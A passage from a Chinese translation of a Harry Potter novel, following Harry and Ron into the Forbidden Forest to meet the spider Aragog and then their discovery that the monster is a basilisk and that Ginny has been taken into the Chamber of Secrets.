哈利觉得不便回答这个问题,他说:“那里也有一些好东西呢。马人是很不错的,还有独角兽。” 罗恩以前从未进过禁林。哈利也只进去过一次,并希望再也不会有第二次。 洛哈特连蹦带跳地进了教室,同学们吃惊地盯着他。学校里的其他每一位老师都显得比平常严肃,可洛哈特看上去倒是轻松愉快。“好了,好了,”他喜洋洋地看着四周,说道,“你们干吗都拉长着脸啊?”大家交换着恼怒的目光,但没有人回答。 “难道你们没有发现吗,”洛哈特说着,放慢语速,似乎他们都有些迟钝似的,“危险已经过去了!罪犯已经被带走了。” “谁这么说?”迪安·托马斯大声说。 “我亲爱的年轻人,如果魔法部部长没有百分之百地认定海格有罪的话,是不会把他带走的。”洛哈特说,那种口气,就好像某人在解释一加一等于二那样。 “哦,那不一定。”罗恩说,声音比迪安的还大。 “我自信我对海格被捕的真相知道的比你稍多一些,韦斯莱先生。”洛哈特用一种自鸣得意的口气说道。 罗恩刚要说他并不这么认为,但话没说完就停住了,因为哈利在桌子底下狠狠踢了他一脚。 “我们当时没在场,你忘了?”哈利小声说。 可是,洛哈特那令人厌恶的喜悦,他那暗示自己早就认为海格不是好人的表白,以及他说的他相信整个事情已经结束的话,都使哈利恼火万分,他恨不得把那本《与食尸鬼同游》的书对准洛哈特愚蠢的脸上扔去。但他只好给罗恩写了一张潦草的纸条:“我们今晚行动。” 罗恩看了纸条,使劲咽了口唾沫,扭头看了看赫敏以前坐的那个空座位。那景象似乎坚定了他的决心,他点了点头。 最近这些日子,格兰芬多的公共休息室里总是挤满了人,因为晚上六点钟以后,格兰芬多的学生们就没有别的地方可去了。而且他们总是有许多话要谈,结果,公共休息室里经常到午夜之后还有人。 吃过晚饭,哈利从箱子里取出隐形衣,然后整个晚上都坐在它上面,等屋里的人都走光。弗雷德和乔治向哈利和罗恩提出挑战,要求玩呼“同”牌戏,金妮在一旁观看。她坐在赫敏惯常的座位上,情绪低落。 哈利和罗恩不停地故意输掉,想早点儿结束比赛,但即使这样,弗雷德、乔治和金妮去睡觉的时候也已经过午夜了。 哈利和罗恩等着远处传来两声宿舍的关门声,才抓起隐形衣,披在身上,从肖像洞口爬了出去。 穿过城堡的路程也很艰难,要千方百计躲着老师。最后,他们总算到了门厅,溜到了那两扇栎木大门的门锁后面,从门缝里挤了出去,尽量不发出吱吱呀呀的声音,然后来到月光皎洁的场地上。 “怎么走,”当他们大步穿过黑黝黝的草地时,罗恩突然说道,“我们也许到了林子里以后,根本就我不到东西可以跟踪。那些蜘蛛可能压根儿就没有到那儿去。我知道,它们当时似乎是朝那个方向移动的,但是...” 他没有说下去,给哈利留下了一点希望。 他们来到海格的小屋,悲哀而忧伤地看着那几扇黑洞洞的窗户。哈利把门推开,牙牙一看见他们,顿时欣喜若狂。他们生怕它低沉浑厚的狂吠吵醒城堡里的人,赶紧从壁炉架上的一个罐头里拿出乳脂软糖给它吃,把它的牙齿粘住了。 哈利把隐形衣放在海格的桌上。在漆黑的树林里是用不着它的。 “来吧,牙牙,我们出去散散步。”哈利说着,拍了拍它的后腿。牙牙高兴地跟在他们后面出了小屋,朝树林边缘跑去,并在一棵大西克莫无花果树旁翘起一条腿来。 哈利拿出魔杖,喃喃地说:“荧光闪烁!”于是魔杖头上放出一束细光,刚好够他们观察道路上有没有蜘蛛的影子。 “好主意,”罗恩说,“我也想让我的魔杖发亮,可是你知道,弄得不好它会爆炸的...” 哈利拍了拍罗恩的肩膀,指着草地上。两只孤独的蜘蛛正匆匆逃离魔杖的光亮,钻进阴暗的树影。 “好吧,”罗恩叹了口气,似乎只好迎接最坏的命运了,“我准备好了。我们走吧。” 于是,他们进入了树林,牙牙奔跑在他们周围,一路嗅着树根和树叶。 就着哈利魔杖的光亮,他们跟随着持续不断地在小路上爬行的蜘蛛。走了大约有二十分钟,谁也没有说话,只侧耳细听着除了树枝折断声和树叶沙沙声之外,还有没有别的声音。 然后,树木越发茂密了,头顶上的星星也看不见了。哈利的魔杖孤零零地在一片无边无际的漆黑中闪着微光,这时他们发现那些蜘蛛向导偏离了小路。 哈利停住脚步,想看清蜘蛛移动的方向,但是在被那点微光照亮的范围之外,是伸手不见五指的黑暗。他以前从未这样深入树林中央。他清晰地回忆起他上次进入林子时,海格曾告诫他不要偏离林间小路。但是海格此刻在千里迢迢之外,大概正坐在阿兹卡班的囚室里,而且他也说过要跟着蜘蛛走。 什么东西碰到了哈利的手,他猛地向后一跳,踩了罗恩的脚,结果那只是牙牙的鼻子。 “你有什么想法?”哈利对罗恩说。他刚刚能分辨出罗恩的眼睛,瞳孔里反射着魔杖的微光。 “我们已经走了这么远了。”罗恩说。 于是,他们跟着蜘蛛飞奔的影子进入树丛。他们现在无法走得很快了,到处都是树根和树桩,挡住了道路,在近乎漆黑一片的光线下简直看不出来。哈利可以感觉到牙牙热乎乎的呼吸喷在他手上。 他们不止一次被迫停住脚步,哈利蹲下去,就着魔杖的光寻找蜘蛛的踪迹。 看样子,他们已经走了至少半个小时,他们的衣服经常被低矮的树枝和刺藤挂住。过了一会儿,他们注意到地面似乎在往下倾斜,尽管树木还和刚才一样茂密。 这时,牙牙突然发出一声响亮的吠叫,在林子里回荡不绝,把哈利和罗恩都吓得灵魂出了窍。 “什么?”罗恩大声说,朝一片漆黑中张望,一边使劲抓住哈利的臂肘。 “那里有什么东西在动,”哈利喘着气说,“听...像是一个大家伙。” 他们仔细听着。在他们右边一段距离之外,那个大东西正从树丛中辟出一条路来,折断了无数根树枝。 “哦,不,”罗恩说,“哦,不,哦,不,哦——” “闭嘴,”哈利狂怒地说,“它会听见你的。” “听见我?”罗恩用一种很不自然的尖声说,“它已经听见了。牙牙!” 他们站在那里,惊恐万状地等待着,黑暗似乎压迫着他们的眼球。突然一阵轰隆隆的声响,接着又归于寂静。 “你认为它在做什么?”哈利问。 “大概准备扑过来。”罗恩说。 他们等待着,浑身发抖,一动也不敢动。 “你认为它走了吗?”哈利小声问。 “不知道——” 这时,在他们右边,突然亮起一片夺目的光,在黑暗中亮得刺眼,两人都举起手挡住眼睛。牙牙咆哮着想逃走,却被一片荆棘绊住,叫得更响亮了。 “哈利!”罗恩喊道,他的声音因为大松一口气而有些哽咽,“哈利,是我们的汽车!” “什么?” “来吧!” 哈利跟在罗恩后面,跌跌撞撞地朝亮光走去,一路上不停地被绊倒。片刻之后,他们来到一片空地上。 韦斯莱先生的汽车停在一圈茂密的树木中央,顶上是密密麻麻交错的枝叶,车里空无一人,车灯发出耀眼的光。罗恩大张着嘴巴向它走去时,它也在慢慢朝他移动,就像一条青绿色的大狗迎接它的主人。 “原来它一直在这里!”罗恩欣喜地说,围着汽车走来走去。“你看它,树林把它变野了...” 汽车的两翼被刮破了,上面沾满烂泥。显然它形成了独自在树林里移动的习惯。牙牙似乎对它丝毫不感兴趣;它寸步不离地跟着哈利。哈利可以感觉到它在发抖。哈利的呼吸又慢慢平静下来,他把魔杖收回到长袍里。 “我们还以为它要进攻我们呢!”罗恩说着,靠在汽车上,拍了拍它。“我一直不知道它到哪儿去了!” 哈利眯起眼睛,在被灯光照亮的地面上继续寻找蜘蛛的影子,可是它们都匆匆避开刺眼的车灯,跑得不知去向了。 “我们失去踪迹了。”他说,“来,我们去找蜘蛛...” 罗恩没有说话,也没有动弹。他眼睛死死盯着哈利身后,离地面十英尺高的地方。他的脸色铁青,活生生地写着恐惧。 哈利甚至没来得及转身。只听一阵响亮的咔哒咔哒声,他突然觉得一个长长的、毛茸茸的东西把他拦腰抄起,使他脸朝下悬在半空。他挣扎着,极度惊恐,这时又听见了咔哒咔哒声,他看见罗恩的双腿也离开了地面,还昕见牙牙在哀鸣、咆哮——接着,它就被拖进了漆黑的树丛。 哈利的脑袋倒悬着,看见那个抓住他的家伙迈着六条长得离奇的、汗毛浓密的腿,前面还有两条腿紧紧地钳住他,上面是一对闪闪发亮的大黑螫。在他身后,他可以听见还有一个这样的动物,显然是抱着罗恩。他们正朝着树林的中心移动。哈利听见牙牙呜呜地叫着,正在拼命挣脱第三只怪物,而哈利即使想叫也叫不出来,他似乎把他的声音和汽车一起留在空地上了。 他不知道他在那动物的利爪里待了多久;他只知道黑暗似乎突然消退了一些,他看见铺满落叶的地面上,现在密密麻麻的都是蜘蛛。他把脖子扭过去,发现他们已经来到一片宽阔凹地的边缘,凹地里的树木被清除了,星星照亮了他有生以来见过的最可怕的景象。 蜘蛛。 不像那些在下面的落叶中匆匆爬过的小蜘蛛,而是每一只都有拉车的马那么大,八只眼睛,八条腿,黑乎乎、毛森森的,像一个个庞然大物。那个抱着哈利的巨型蜘蛛沿陡坡而下,朝凹地正中央的一张雾气迷蒙的、半球形的蛛网走去,它的同伴把它团团围住。它们看见它钳住的东西后,都兴奋地活动着大螯,发出一片咔哒咔哒的声音。 蜘蛛松开爪子,哈利扑倒在地。罗恩和牙牙也重重地跌落在他旁边。牙牙不再咆哮了,而是静静地蜷缩着不动。 罗恩看上去感觉与哈利一模一样。他的嘴巴咧得大大的,似乎在发出无声的嘶喊,眼睛向外暴突着。哈利突然意识到那只把他扔掉的蜘蛛正在说话。不容易听出来,因为它每说一个字都要咔哒咔哒地摆弄它的大螯。 “阿拉戈克!”它喊道,“阿拉戈克!” 从雾气迷蒙的、半球形的蛛网中间,非常缓慢地钻出来一只小象那么大的蜘蛛。它的身体和腿黑中带灰,那长着大螯的丑陋脑袋上的每只眼睛都蒙着一层白翳。它是个瞎子。 “怎么回事?”它说,咔哒咔哒,两只大螯飞快地动着。 “人。”刚才抓住哈利的那只蜘蛛说。 “是海格吗?”阿拉戈克说着,靠近了一些,八只乳白色的眼睛茫然地张望着。 “是陌生人。”把罗恩带来的那只蜘蛛咔哒咔哒地说。 “把他们弄死,”咔哒咔哒,阿拉戈克烦躁地说。“我正在睡觉. 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“但那是很多年前的事了,”阿拉戈克恼火地说,“很多、很多年以前了。我记得很清楚。正是因为这件事,他们当时才让他离开学校的。他们相信我就是那只住在他们所谓的密室里的怪物。他们以为是海格打开了密室,把我放了出来。” “那么你..你不是从密室里出来的?”哈利问,感到他脑门上出了一层冷汗。 “我!”阿拉戈克说,大螯愤怒地咔哒咔哒,“我不是生在城堡里的。我来自一个遥远的国度。当我还没有从蛋里孵出来时,一个旅游者把我送给了海格。当时海格还只是一个小孩子,但他照顾着我,把我藏在城堡的一个碗橱里,喂我吃撒在餐桌上的面包屑。海格是我的好朋友,他是一个好人。人们发现了我,并要我为一个姑娘的死承担责任时,是他保护了我。从那以后,我就一直住在这树林里,海格还经常来看我。他甚至还给我找了个妻子——莫萨格。你看到我们的家庭发展得多么兴旺,这都是托了海格的福...” 哈利鼓起他剩余的一点儿勇气。“那么你从来没有——从来没有攻击过任何人?” “没有,”老蜘蛛怨恨地说,“我是有这种本能的,但出于对海格的尊敬,我从未伤害过一个人。那个被害姑娘的尸体是在一间盥洗室里发现的。而除了我在里面长大的碗橱,我从未见过城堡的任何部分。我们蜘蛛喜欢阴暗和寂静...” “可是当时...你知道是什么害死了那姑娘吗?”哈利说,“因为不管那是什么东西,现在又回来对人发起攻击了——” 顿时,咔哒咔哒的声音响作一团,无数条长腿在窸窸窣窣地移动,庞大的黑影在他周围晃来晃去。 “那个住在城堡里的家伙,”阿拉戈克说,“是一种我们蜘蛛最害怕的古代生物。我记得很清楚,当我感觉到那野兽在学校里到处活动时,我曾恳求海格放我走。” “它是什么?”哈利迫切地问。咔哒咔哒声更响了,窸窸窣窣的声音也更密了,蜘蛛们似乎正在围拢过来。 “我们不说!”阿拉戈克情绪激烈地说,“我们不说出它的名字!我甚至没有把那个可怕生物的名字告诉海格,尽管他问过我,问过许多次。” 哈利不想再逼问这个话题,尤其是在蜘蛛们从四面八方聚拢过来的情况下。阿拉戈克似乎不想说话了。它缓缓退回他那半球形的蛛网里,但他那些蜘蛛伙伴还在慢慢地、一寸一寸地向哈利和罗恩移动。 “那我们走了。”哈利不顾一切地对阿拉戈克喊道,同时听见他身后的树叶沙沙作响。 “走?”阿拉戈克慢慢悠悠地说,“我看不要...” “可是——可是——” “我的儿女听从我的命令,没有伤害海格。但新鲜的人肉自动送上门来,我不能拦着他们不去享受。别了,海格的朋友...” 哈利转过身,在几步之外,在他上面高高的地方,蜘蛛组成了一道坚实的、高耸的铜墙铁壁,大螯咔哒咔哒响成一片,许多双眼睛在那些丑陋的黑脑袋上闪闪发亮...哈利虽然在掏他的魔杖,但他知道这是无济于事的。它们数量太多了。但就在他挣扎着站起来。想拼死一搏时,突然响起了一个高亢悠长的声音,一道耀眼的光照亮了整个凹地。 韦斯莱先生的汽车轰隆隆地开下斜坡,前灯闪耀着,喇叭尖叫着,把蜘蛛们撞到一旁,有几只蜘蛛被撞得仰面倒下,无数只长腿在空中舞个不停。随着一阵刺耳的声音,汽车在哈和和罗恩面前停下,车门猛地敞开了。 “带上牙牙!”哈利喊道,一边钻进前座,罗恩拦腰抓住大猎狗,把狂吠的它扔到后座上。车门砰地关上了。罗恩没有碰油门,但汽车也并不需要他做什么。发动机轰响起来,他们出发了,又撞倒了更多的蜘蛛。他们飞快地驰上斜坡,离开了凹地。很快,他们在树林里横冲直撞地穿行。汽车沿着一条它显然很熟悉的路线,机灵地左拐右拐,寻找最宽的豁口。 哈利扭头看了看罗恩,只见他的嘴仍然张着,像在发出无声的嘶喊,但他的眼球不再鼓起了。“你没事吧?” 罗恩直瞪瞪地看着前方,说不出一个字。 他们稀里哗啦地在低矮的灌木丛中冲闯,牙牙在后座上大声咆哮。哈利看到,当他们挤过一棵大栎树时,两翼上的镜子被撞掉了。经过十分钟吵闹颠簸的疾驰,树木渐渐稀疏,哈利又可以看见一小块一小块的夜空了。 汽车停下了,停得太突然了,由于惯性,他们差点撞在挡风玻璃上。他们已经来到了树林边缘。牙牙扑向车窗,迫不及待地想出来,哈利一打开车门,它就箭一般地穿过树丛,夹着尾巴,向海格的小屋奔去。哈利也下了车,过了大约一分钟,罗恩似乎恢复了四肢的感觉,也跟着下来了,但他的脖子仍然僵硬,眼睛也直勾勾的。哈利感激地拍了拍汽车,它掉头返回树林,消失不见了。 哈利回海格的小屋去拿隐形衣,牙牙在篮子里的毯子下面瑟瑟发抖。哈利从小屋出来时,发现罗恩正在南瓜地里拼命呕吐。 “跟着蜘蛛,”罗恩虚弱地说,用袖子擦了擦嘴,“我永远不会原谅海格。我们活下来算是幸运。” “我敢说他以为阿拉戈克不会伤害他的朋友。”哈利说。 “海格的问题就在这里!”罗恩说,重重地敲打着小屋的墙壁,“他总是以为怪物不像人们虚构的那样坏,看看他的下场吧!关在阿兹卡班的牢房里!”他开始无法控制地发抖。“把我们打发到那里面去有什么意义?我倒想知道,我们究竟弄清了什么?” “弄清了海格从未打开过密室。”哈利说,把隐形衣披在罗恩身上,捅了捅他的胳膊,让他迈开步子。“他是无辜的。” 罗恩很响地哼了一声。显然,在他看来,在碗橱里把阿拉戈克孵出来就是错误。 城堡越来越近了,哈利使劲拉了拉隐形衣,以确保四只脚都被隐蔽了,然后把吱呀作响的前门推开一道缝。他们小心地走过门厅,走上大理石台阶,屏住呼吸,穿过有哨兵巡视的走廊。终于,他们平安回到了格兰芬多公共休息室,那里的炉火已经燃尽,只剩下余烬在闪着微光。他们脱下隐形衣,爬上旋转楼梯,回到宿舍。 罗恩连衣服都懒得脱,就一头倒在了床上。哈利却感到并不很困。他坐在四柱床边,拼命想着阿拉戈克所说的每一句话。 他想,那个潜伏在城堡什么地方的活物,听上去和伏地魔有些相似——就连其他怪物也不愿说出它的名字。但是那活物是什么,又是怎样使被害者变成石头的,他和罗恩还是一无所知。就连海格也一直不知道密室里关着的是什么。 哈利把腿一摆,上了床,靠在枕头上,看着月光透过城堡的窗户向他闪烁。 他想不出他们还有什么办法。他们处处碰壁,陷入了僵局。里德尔抓错了人,斯莱特林的继承人跑了,这次打开密室的究竟是同一个人,还是另外一个人,谁也不知道。也没有人可以问。哈利躺下了,脑子里仍然想着阿拉戈克的话。他已经昏昏欲睡了,突然产生了一个念头,使他猛地坐了起来,这似乎是他们惟一的希望了。 “罗恩,”他在黑暗中小声唤道。罗恩发出一声像牙牙一般的叫声,茫然四顾,看见了哈利。 “罗恩——那个死去的姑娘。阿拉戈克说她是在盥洗室里被发现的,”哈利说,不顾纳威在墙角呼哧呼哧地打着鼾,“如果她一直没有离开盥洗室呢?如果她还在那儿呢?” 罗恩揉了揉眼睛,在月光下皱起眉头。接着,他明白了。 “难道你认为是——是哭泣的桃金娘?” 35. 密室 “当时我们就在那个盥洗室里,离她只隔三个抽水马桶,都没有能够问她。” 第二天吃早饭的时候,罗恩苦恼地说,“现在...” 这些日子,寻找蜘蛛就已经够他们受的了。要想长时间地避开老师,溜进女生盥洗室——这个女生盥洗室不在别处,偏偏就在第一次攻击事件现场的隔壁——这简直是不可能的事。 然而,就在上午第一节的变形课上,发生了一件事情,使他们几个星期来第一次把密室的事忘到了脑后。 麦格教授走进教室刚刚十分钟,就告诉他们说,考试将于六月一日举行,离今天只有短短一个星期了。 “考试?”西莫·斐尼甘惨叫道,“我们还要考试?” 啷!哈利后面传来一声巨响,纳威·隆巴顿的魔杖从手里滑落,使课桌的一条腿突然消失了。麦格教授用她自己的魔杖一挥,又把桌腿安了上去,然后她转过身来,朝西莫皱起了眉头。 “在目前这种非常状态下,仍然没有关闭学校,目的就是为了让你们接受教育。”她严厉地说,“因此,考试仍像平时一样进行,我相信你们都会认真复习的。” 认真复习!哈利从来没有想过,城堡里已经是这种状况了,居然还要考试。班上的同学们七嘴八舌地议论开了,教室里一阵嘁嘁喳喳,这使麦格教授的眉头皱得更紧,脸色更阴沉了。 “邓布利多教授的指示,是尽可能地维持学校的正常运转。”她说,“这就意味着,要考察一下你们今年到底学到了多少知识。” 哈利低头看着那一对小白兔,他应该把它们变成拖鞋的。他今年到现在为止,究竟学到了什么呢?他简直想不出他脑子里有哪些知识可以用来应付考试。 看罗恩的神情,就好像有人刚对他说,他必须到禁林里去生活一样。 “你能想象我用这个破玩意儿考试吗?”他举起魔杖问哈利,就在刚才,那魔杖突然发出刺耳的呼啸声。 离他们第一门考试只有三天了,早饭时,麦格教授又宣布了一条消息。 “我有好消息要告诉大家。”她说,礼堂里不仅没有变得安静,反而喧哗了起来。 “邓布利多要回来了!”有几个人高兴地大叫。 “你抓住了斯莱特林的继承人!”拉文克劳餐桌上的一个女生尖声尖气地喊道。 “魁地奇比赛恢复了!”伍德兴奋地嚷。 等这些吵闹声平息下来后,麦格教授说:“斯普劳特教授告诉我,曼德拉草终于可以收割了。今晚,我们就能使那几个被石化的人起死回生。我无须向你们指出,他们中间的某个人大概可能告诉我们,当时是谁,或什么东西,攻击了他们。我衷心地希望,这可怕的一年将以我们抓住凶手而告终。” 大家爆发出一片欢呼。哈利朝斯莱特林的餐桌望去,没有看见德拉科·马尔福的影子,对此,他丝毫也不感到意外。不过,罗恩倒是几天来第一次露出了笑容。 “那么,我们去不去问桃金娘就没有什么关系了!”他对哈利说,“等他们使赫敏苏醒过来后,她也许就能回答出所有的问题!不过你别忘了,如果她发现还有三天就要考试,肯定会急疯了的。她还没来得及复习啊!也许更仁慈的做法是让她保持现状,等考试结束了再说。” 就在这时,金妮·韦斯莱走了过来,坐在罗恩旁边。她显得非常紧张,惶恐不安。哈利注意到,她的两只手在膝盖上紧紧地扭在一起。 “怎么啦?”罗恩说着,又给自己添了些粥。 金妮什么也没说,目光在格兰芬多的餐桌上来回扫视,脸上那种惊恐的神情使哈利想起了一个人,究竟是谁呢,他又想不起来。 “有话快说。”罗恩望着她说道。 哈利突然想起金妮的这副神情像谁了。看她在椅子里微微地前后摇晃的样子,哈利想起每当多比要向他透露一些不能说的秘密,欲言又止时,也是这样晃来晃去的。 “我有件事情要告诉你们。”金妮嘟囔着说,小心地避开哈利的目光。 “什么事?”哈利问。金妮似乎找不到合适的字眼。 “怎么啦?”罗恩问。金妮张了张嘴,却没有发出声音。哈利凑上前去,把声音压得很低,只有金妮和罗恩能够听见。“是关于密室的事吗?你看见了什么?是不是有人行为反常?” 金妮深深地吸了口气,正要说话,恰好就在这时,珀西·韦斯莱出现了,一副疲惫而憔悴的样子。“金妮,如果你吃完了,就把座位让给我吧。我饿坏了,刚刚值勤回来。” 金妮猛地跳起,仿佛她的椅子突然通了电似的。她匆匆地、惊慌失措地看了珀西一眼,逃走了。珀西一屁股坐下,从桌子中央抓过一只大杯子。 “珀西!”罗恩恼火地说,“她刚要告诉我们一件很重要的事!” 珀西一口茶刚咽到一半,呛住了。“什么事情?”他一边咳嗽着,一边问道。 “我刚才问她有没有看见什么异常情况,她正要说——” “噢——那件事——那件事和密室无关。”珀西立刻说道。 “你怎么知道?”罗恩吃惊地扬起眉毛问。 “是这样,嗯,如果你们一定要知道,金妮,嗯,她那天突然碰见我,当时我正在——唉,不说也罢——实际上就是,她正好看见我在做一件事,我,呃,我让她不要告诉任何人。唉,我就知道她不可能说到做到。其实也没什么,我情愿——” 哈利以前从没看见珀西显得这么尴尬。 “你当时在做什么呀,珀西?”罗恩狡猾地笑着,问道。“别瞒着了,快告诉我们吧,我们不会笑你的。” 珀西没有笑。“把那些小圆面包递给我,哈利,我真是饿坏了。” 哈利知道,即使没有他们的帮助,整个秘密到明天也会水落石出的,但是如果有机会跟桃金娘谈谈,他也不愿意错过——令他高兴的是,这个机会很快就来了。上午两节课后,他们在吉德罗·洛哈特的护送下,去上魔法史课。 洛哈特曾经多次向他们保证危险已经过去,但事实很快就证明他错了。现在他更加坚决地认为,根本用不着护送同学安全通过走廊。他的头发不像平常那样光滑了,看样子他整夜忙着在五楼巡逻,睡不了多少觉。 “记住我的话吧,”他招呼他们拐过一个墙角,说道,“那些可怜的被石化的人,醒过来说的第一句话肯定就是:‘海格是凶手。’坦率地说,我真感到吃惊,麦格教授居然认为有必要采取这么多安全措施。” “我同意,先生。”哈利说,罗恩惊讶得把书掉在了地上。 “谢谢你,哈利。”洛哈特态度慈祥地说,他们站到一边,等待排成长队的赫奇帕奇学生走过去。“我的意思是,我们老师要做的事情已经够多的了,还要护送学生上课,整夜放哨站岗...” “说的是啊,”罗恩立刻心领神会,“你不妨就送到这里吧,先生,我们只有一个走廊要走了。” “好吧,韦斯莱,就这样吧,”洛哈特说,“我真应该去准备准备下一节的课了。” 他说完就匆匆地走了。 “什么准备课,”罗恩对着他的背影嘲笑着,“去卷他的头发还差不多。” 他们让其他的格兰芬多同学走到前面,然后他们偷偷溜进旁边的一条过道,急匆匆地向哭泣的桃金娘的盥洗室赶去。然而,就在他们准备祝贺这个计划天衣无缝时... “波特!韦斯莱!你们在做什么?” 是麦格教授,她的嘴唇抿成了一根细得不能再细的直线。 “我们想——我们想——”罗恩结结巴巴地说,“我们想去——去看看——” “赫敏。”哈利接口道。罗恩和麦格教授都望着他。 “我们好长时间没有看见她了,教授,”哈利踩了一下罗恩的脚,一口气说道,“我们刚才想偷偷溜到医院去,告诉她曼德拉草快要长成了,叫她不要担心。” 麦格教授仍然盯着他,一时间,哈利以为她要大发雷霆。结果她说话了,声音有些异样的颤抖。 “当然,”她说,哈利吃惊地发现她犀利的眼睛里居然闪着一点儿泪花,“当然,我知道,对所有那些不幸的受害者的朋友来说,这痛苦确实很难忍受...我非常理解。是的,波特,你们当然可以去看望赫敏。我会告诉宾斯教授你们到哪儿去了。就对庞弗雷夫人说,是我批准你们去的。” 哈利和罗恩走开了,他们简直不敢相信自己侥幸逃避了留校劳动的惩罚。转过墙角时,他们清晰无误地听见了麦格教授擤鼻子的声音。 “太棒了,”罗恩激动地说,“那可是你编出的最妙的谎话。” 他们现在没有别的选择,只好去医院,告诉庞弗雷夫人,麦格教授批准他们来看望赫敏。 庞弗雷夫人让他们进去了,可是不太情愿。 “跟一个被石化的人谈话,完全是白费工夫。”她说。当他们在赫敏床边的褥子上落座后,不得不承认庞弗雷夫人说得对。显然,赫敏一点儿也不知道有人来看她,他们还不如跟床头柜说话,叫它不要担心,一切都会好起来的。 “不知道她有没有看见那个进攻者?”罗恩悲哀地看着赫敏僵硬的脸,说道,“如果那家伙从背后偷偷接近她们,那就谁也不会知道...” 然而,哈利并没有望着赫敏的脸。他似乎对她的右手更感兴趣。那只紧握的手放在毯子上面,哈利凑近一些,看见她的拳头里攥着一张纸。 哈利确信庞弗雷夫人不在旁边,就把那张纸指给罗恩看。“把它取出来。”罗恩小声说,一边把椅子挪了一下,挡住庞弗雷夫人的视线,使她看不见哈利。 哈利费了好大的工夫。赫敏把纸头攥得太紧了,哈利觉得自己肯定会把它扯破了。就这样,罗恩在旁边放哨,哈利又掰又扭,经过几分钟紧张的努力,总算把那张纸弄了出来。 这是从一本很旧的图书馆藏书上撕下来的一页纸。哈利迫不及待地把它展开,罗恩也凑上来,两人一起读道:在我们国家,游荡着许多可怕的野兽和怪物,其中最离奇、最具有杀伤力的莫过于蛇怪,又被称为蛇王。这种蛇的体积可以变得十分巨大,通常能活好几百年,它是从一只公鸡蛋里、由一只癞蛤蟆孵出的。它杀人的方式十分惊人,除了它致命的毒牙外,蛇怪的瞪视也能致人死亡,任何人只要被它的目光盯住,就会立刻丧命。蜘蛛看到蛇怪就会逃跑,因为蛇怪是蜘蛛的死敌,而蛇怪只有听见公鸡的叫声才会仓皇逃命,因为公鸡的叫声对它来说也是致命的。在这段话下面,还写着两个字,哈利一眼就认出是赫敏的字迹。那两个字是:管子。突然,就好像有人在哈利的脑海里突然点亮了一盏明灯。 “罗恩,”他激动得几乎喘不过气来,“就是这样。答案就在这里。密室里的怪物就是蛇怪——是一条巨蛇!难怪我走到哪儿都能听见那个声音,别人却听不见。因为我能听得懂蛇佬腔...” 哈利看着他周围的那几张病床。 “蛇怪的眼睛看着谁,谁就会死。可是这里一个人也没有死——因为他们谁也没有直接跟它对视。科林是通过照相机看见它的。蛇怪把照相机里的胶卷都烧焦了,而科林只是被石化了。贾斯廷呢...贾斯廷一定是透过差点没头的尼克看见蛇怪的!尼克倒是被蛇怪的目光盯住了,但是他不可能再死第二回...赫敏和那个拉文克劳女生被人发现时,旁边还有一面镜子。我可以跟你打赌,她当时逢人就提醒要先用镜子照照拐弯处!那个姑娘刚掏出镜子——就——” 罗恩吃惊地张大嘴巴。 “那么洛丽丝夫人呢?”他紧张地小声问。 哈利苦苦思索,回忆万圣节前夜的情景。 “水...”他慢慢地说,“从哭泣的桃金娘的盥洗室里漫出来的那摊水。我敢说洛丽丝夫人只是看见了水里的倒影...” 他又迫切地看了看手里的那页纸,越看,越觉得心里透亮起来。 “公鸡的叫声对它来说也是致命的!”他大声念道,“海格的公鸡都被杀死了!一旦密室被打开,斯莱特林的继承人决不希望城堡附近有公鸡存在!蜘蛛看到它就会逃跑!啊,每一条都能对得上号!” “可是蛇怪怎么可能到处爬来爬去呢?”罗恩说,“一条丑陋的大蛇...肯定会有人看见它的...” 哈利却指着赫敏在那张纸下面草草写就的那两个字。 “管子,”他说,“管子...罗恩,它一直在管道里活动。我总是听见那个声音在墙的里面...” 罗恩一把抓住哈利的手臂。 “密室的入口!”他声音嘶哑地说,“说不定就在一间盥洗室里呢?说不定就在——” “——哭泣的桃金娘的盥洗室。”哈利说。 他们坐在那里,激动得难以自制,简直不敢相信这一切。 “这就意味着,”哈利说,“在这个学校里,懂得蛇佬腔的不止我一个人。斯莱特林的继承人也懂。所以他们才能一直控制蛇怪。” “我们怎么办呢?”罗恩问,他的眼睛闪闪发亮,“是不是直接去找麦格教授?” “我们到教工休息室去,”哈利说着,一跃雨起,“她十分钟后就会到那里去的,很快就要下课了。” 他们跑下楼去。他们不希望麦格教授又发现他们在另一条走廊里乱逛,就直接走进了空无一人的教工休息室。这是一问四周镶着木板的大屋子,里面摆满了黑木椅子。哈利和罗恩在里面踱来踱去,激动得坐不下来。 可是,下课的铃声一直没有响起。 相反,走廊里回响着麦格教授的声音,被魔法放大了许多倍。 “所有同学立即回到各自学院的宿舍,所有老师回到教工休息室。请立即行动。” 哈利猛地转过身来,瞪着罗恩。 “难道又出事了?在这个时候?” “我们怎么办?”罗恩惊骇地问,“回宿舍去?” “不行。”哈利说着,目光在四下里搜寻。他左边有一个很难看的衣柜,里面堆满了老师上课穿的袍子。“躲在这里面。我们听听是怎么回事,然后再把我们的发现告诉他们。” 他们躲进了衣柜,听着好几百人在楼上走动的脚步声,接着,教工休息室的门被重重地推开了。他们透过散发着霉味的一层层袍服,看着一个个走进房间的老师,有的一脸迷惑,有的吓得魂不守舍。随后,麦格教授赶到了。 “又出事了,”她对着房间里沉默不语的老师们说,“一个学生被怪兽掳走了。直接带进了密室。” 弗立维教授发出一声尖叫。斯普劳特教授猛地用双手捂住嘴巴。斯内普紧紧地抓住一把椅子的椅背,问道:“你怎么能肯定?” “斯莱特林的继承人,”脸色十分苍白的麦格教授说,“又留下了一行字。就在上次那段文字的下面,写着:她的尸骨将永远留在密室。” 弗立维教授忍不住哭了出来。 “是谁?”霍琦夫人双膝一软,瘫坐在一把椅子里。“是哪个学生?” “金妮·韦斯莱。”麦格教授说。 哈利感到罗恩在他身边无声地跌倒在衣柜的地板上。 “我们必须明天就把所有的学生都打发回家,”麦格教授说,“霍格沃茨到此为止了。邓布利多以前常说...” 教工休息室的门又一次被重重撞开了。哈利一时突发奇想,以为肯定是邓布利多回来了。结果却是洛哈特,脸上居然还笑嘻嘻的。 “对不起——打了个盹儿——我错过了什么?” 他似乎没有注意到,其他老师都以一种可以说是仇恨的目光盯着他。斯内普向前跨了一步。 “解决问题的人来了,”他说,“就是这个人。洛哈特,一个姑娘被怪兽抓走了。被带进了密室。你展示辉煌的时候终于到了。” 洛哈特的脸色刷地变白了。 “是啊,吉德罗,”斯普劳特教授插进来说,“你昨天晚上不是说,你完全清楚密室的入口在哪里吗?” “我——这个,这个,我——”洛哈持结结巴巴地说。 “你不是告诉我说,你有把握知道那里面的怪兽是什么吗?”弗立维教授也插话说。 